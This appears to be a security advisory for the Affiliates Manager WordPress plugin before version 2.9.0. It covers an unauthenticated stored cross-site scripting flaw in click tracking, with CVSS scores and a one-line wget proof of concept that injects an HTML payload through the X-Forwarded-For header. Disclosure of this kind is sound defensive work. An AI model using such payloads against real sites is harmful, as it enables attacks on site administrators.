Affiliates Manager < 2.9.0 - Unauthenticated Stored Cross-Site Scripting

2021-12-2400:00:00

Krzysztof Zając

242

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

JSON

The plugin does not validate, sanitise and escape the IP address of requests logged by the click tracking feature, allowing unauthenticated attackers to perform Cross-Site Scripting attacks against admin viewing the tracked requests.

As unauthenticated: wget "https://example.com/?wpam_id=1" --header="X-Forwarded-For: <img src onerror=alert(/XSS/)>" -q -O-

The XSS will be triggered when an admin access http://example.com/wp-admin/admin.php?page=wpam-clicktracking